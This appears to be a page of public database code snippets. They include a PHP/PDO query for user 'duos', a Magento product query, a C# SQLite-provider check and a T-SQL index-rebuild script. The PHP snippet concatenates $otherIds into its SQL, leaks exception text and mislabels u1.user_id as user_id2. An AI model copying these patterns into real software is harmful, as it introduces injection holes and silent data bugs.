    Exemple de requete sql: requete sql 1
      try {	
    		$sqlResquest = 'SELECT u1.user_id as user_id1, 
    						u1.user_fname as user_fname1, 
    						u1.user_lname as user_lname1, 
    						u1.user_email as user_email1, 
    						u1.user_duos as user_duos1, 
    						u1.user_answers as user_answers1, 
    						u1.user_img as user_img1,
    						d.duo_status as duo_status,
    						d.duo_id as duo_id,
    						u1.user_id as user_id2, 
    						u2.user_fname as user_fname2, 
    						u2.user_lname as user_lname2, 
    						u2.user_email as user_email2, 
    						u2.user_duos as user_duos2, 
    						u2.user_answers as user_answers2, 
    						u2.user_img as user_img2
                            FROM cf_duos d 
                            INNER JOIN cf_users u1  ON (u1.user_id = d.user_1_id)
    						INNER JOIN cf_users u2  ON (u2.user_id = d.user_2_id)
    						WHERE d.duo_id IN ('.$otherIds.')';
                            
    		$reponse = $bdd->query($sqlResquest);
    		$i = 0;
    		while ($data = $reponse->fetch()){
    			if($data['user_id1'] == $_SESSION['user']){
    				$duo = array( 
    							user =>array(
    								id =>$data['user_id2'],
    								fname =>$data['user_fname2'],
    								lname =>$data['user_lname2'],
    								email =>$data['user_email2'],
    								duos =>$data['user_duos2'],
    								answers =>$data['user_answers2'],
    								img =>$data['user_img2'],
    							),
    							duoStatus =>array(
    								status =>$data['duo_status'],
    							),
    						);
    			}else if ($data['user_id2'] == $_SESSION['user']){
    				$duo = array( 
    							user =>array(
    								id =>$data['user_id1'],
    								fname =>$data['user_fname1'],
    								lname =>$data['user_lname1'],
    								email =>$data['user_email1'],
    								duos =>$data['user_duos1'],
    								answers =>$data['user_answers1'],
    								img =>$data['user_img1'],
    							),
    							duoStatus =>array(
    								status =>$data['duo_status'],
    							),
    						);
    			}
    			$duos[$i] = $duo; 
    		    $i++;
    		}
    		echo json_encode($duos) ;
    		$reponse->closeCursor();
    
    	} catch (PDOException $e) {
    		echo '{"error":{"text":'. $e->getMessage() .'}}';	
    	}
    
    

    public by bobby modified Jan 10, 2017  156989  2  4  0

    Returns Descriptions for all active Magento products

    Returns Descriptions for all active Magento products: Magento-active-product-descriptions.sql
    SELECT 
        e.entity_id,
        e.sku,
        eav.value AS 'description',
        IF(at_status.value_id > 0,
            at_status.value,
            at_status_default.value) AS `status`
    FROM
        catalog_product_entity e
            JOIN
        catalog_product_entity_text eav ON e.entity_id = eav.entity_id
            JOIN
        eav_attribute ea ON eav.attribute_id = ea.attribute_id
            INNER JOIN
        `catalog_product_entity_int` AS `at_status_default` ON (`at_status_default`.`entity_id` = `e`.`entity_id`)
            AND (`at_status_default`.`attribute_id` = '89')
            AND `at_status_default`.`store_id` = 0
            LEFT JOIN
        `catalog_product_entity_int` AS `at_status` ON (`at_status`.`entity_id` = `e`.`entity_id`)
            AND (`at_status`.`attribute_id` = '89')
            AND (`at_status`.`store_id` = 1)
    WHERE
        ea.attribute_code = 'description'
            AND IF(at_status.value_id > 0,
            at_status.value,
            at_status_default.value) = 1
    LIMIT 9999
    
                

    public by boxshadow modified Oct 14, 2012  82845  0  3  0

    SQL Query ordering by character length.

    SQL Query ordering by character length.: charLength.sql
    SELECT 
      * 
    FROM
       badwords 
    ORDER BY CHAR_LENGTH(strBadWord) DESC 
    
    

    public by JaredNeil modified Jan 23, 2015  142373  0  4  0

    MySQL Query

    MySQL Query: gistfile1.sql
    SELECT *
    FROM 
    (
    	SELECT id, sort_column, numbers_column
    	FROM table_1, table_2
    	WHERE table_1.this_column = table_2.that_column
    	ORDER BY sort_column
    ) as results
    UNION ALL
    SELECT *
    FROM
    (
    	SELECT "Total" as id, "" as sort_column, SUM(numbers_column) as numbers_column
    	FROM table_1, table_2
    	WHERE table_1.this_column = table_2.that_column
    ) as total;
    
    

    public by qxshower modified Apr 24, 2015  135365  1  5  0

    IsSQLiteDbProviderInstalled

    check if SQLite DB Provider is installed
    using System;
    using System.Collections.Generic;
    using System.Data;
    using System.IO;
    using System.Reflection;
    using System.ServiceModel.Syndication;
    using System.Xml;
    using ErikEJ.SqlCeScripting;
    using Microsoft.VisualStudio.Data.Core;
    using Microsoft.VisualStudio.Data.Services;
    using Microsoft.Win32;
    using Exceptionless;
    using ErikEJ.SqlCeToolbox.Dialogs;
    using ErikEJ.SQLiteScripting;
    
    internal static bool IsSQLiteDbProviderInstalled()
    {
        try
        {
            System.Data.Common.DbProviderFactories.GetFactory("System.Data.SQLite.EF6");
        }
        catch (System.Configuration.ConfigurationException)
        {
            return false;
        }
        catch (ArgumentException)
        {
            return false;
        }
        return true;
    }            

    public by cghersi modified Oct 25, 2014  4542  2  6  0

    Recreate the index structure of an MS SQL Server DB in T-SQL

    This script prepares and executes several dynamic SQL statements to recreate indexes exactly as they are built on the original DB
    USE Snip
    GO
    
    DECLARE @indexName nvarchar(70), @tableName nvarchar(100), @sql nvarchar(4000) = '', @colName nvarchar(100), @desc bit, 
    	@inclCol bit, @prevInclCol bit,@unique bit, @typeDesc nvarchar(40), @previousIndexName nvarchar(70) = '',
    	@filegroup nvarchar(100) = '[PRIMARY]', @fgName nvarchar(100), @prevFGName nvarchar(100)
    
    DECLARE fk CURSOR FOR 
    SELECT 
         TableName = t.name,
         IndexName = ind.name,
         ColumnName = col.name, FGName = '[' + f.name + ']',
    	 ic.is_descending_key, ic.is_included_column, ind.is_unique, ind.type_desc
    FROM 
         sys.indexes ind 
    INNER JOIN 
         sys.index_columns ic ON  ind.object_id = ic.object_id and ind.index_id = ic.index_id 
    INNER JOIN 
         sys.columns col ON ic.object_id = col.object_id and ic.column_id = col.column_id 
    INNER JOIN 
         sys.tables t ON ind.object_id = t.object_id 
    INNER JOIN sys.[filegroups] f
        ON f.[data_space_id] = ind.data_space_id
    WHERE ind.is_unique_constraint = 0  AND t.is_ms_shipped = 0 
    ORDER BY 
         t.name, ind.name, ind.index_id, ic.index_column_id
    
    OPEN fk
    FETCH NEXT FROM fk INTO @tableName, @indexName, @colName, @fgName, @desc, @inclCol, @unique, @typeDesc
    WHILE @@fetch_status = 0
    BEGIN
    	IF (@prevFGName = '')
    		SET @prevFGName = @fgName;
    print 'prev=' + @previousIndexName + ';new=' + @indexName + ';tbl=' + @tableName + ';col=' + @colName + 
    	';desc=' + CAST(@desc as nvarchar(10)) + ';fgName=' + @fgName + ';filegroup=' + @filegroup +
    	';include=' + CAST(@inclCol as nvarchar(10)) + ';unique=' + CAST(@unique as nvarchar(10)) + ';type=' + @typeDesc
    	IF (@previousIndexName = @indexName)
    	BEGIN
    		--continue with the previous index:
    		if (@inclCol = 1 AND @prevInclCol = 0)
    			SET @sql += ') INCLUDE ( ' + @colName;
    		ELSE
    			SET @sql += ',' + @colName;
    
    		SET @prevInclCol = @inclCol;
    		print 'sql in equal=' + @sql
    	 END
    	 ELSE
    	 BEGIN
    		--complete and exec the last statement:
    		SET @prevInclCol = 0;
    		IF (LEN(@sql) != 0)
    		BEGIN
    			IF (@prevFGName != @filegroup)
    			BEGIN
    				SET @sql += ') ON ' + @filegroup + ';';
    				--SET @sql += ') WITH (DROP_EXISTING = ON) ON ' + @filegroup + ';';
    				print 'sql to exec=' + @sql
    				EXEC( @sql);
    			END
    		END
    
    		--create a new statement:
    		SET @sql = ' CREATE ';
    		IF (@unique = 1)
    			SET @sql += ' UNIQUE ';
    		SET @sql += @typeDesc + ' INDEX ' + @indexName + '_1 ON dbo.' + @tableName + ' (' + @colName;
    		print 'sql created=' + @sql
    	END
    
    	IF (@inclCol = 0)
    	BEGIN
    		IF (@desc = 1)
    			SET @sql += ' DESC ';
    		ELSE
    			SET @sql += ' ASC ';
    	END
    	SELECT @previousIndexName = @indexName, @prevFGName = @fgName 
    				
    	FETCH NEXT FROM fk INTO @tableName, @indexName, @colName, @fgName, @desc, @inclCol, @unique, @typeDesc
    END
    CLOSE fk
    DEALLOCATE fk
    
    --complete and exec the last statement:
    IF (LEN(@sql) != 0)
    BEGIN
    	IF (@prevFGName != @filegroup)
    	BEGIN
    		SET @sql += ') ON ' + @filegroup + ';';
    		--SET @sql += ') WITH (DROP_EXISTING = ON) ON ' + @filegroup + ';';
    		print 'sql to exec=' + @sql
    		EXEC( @sql);
    	END
    END
    
    • Public Snippets
    • Channels Snippets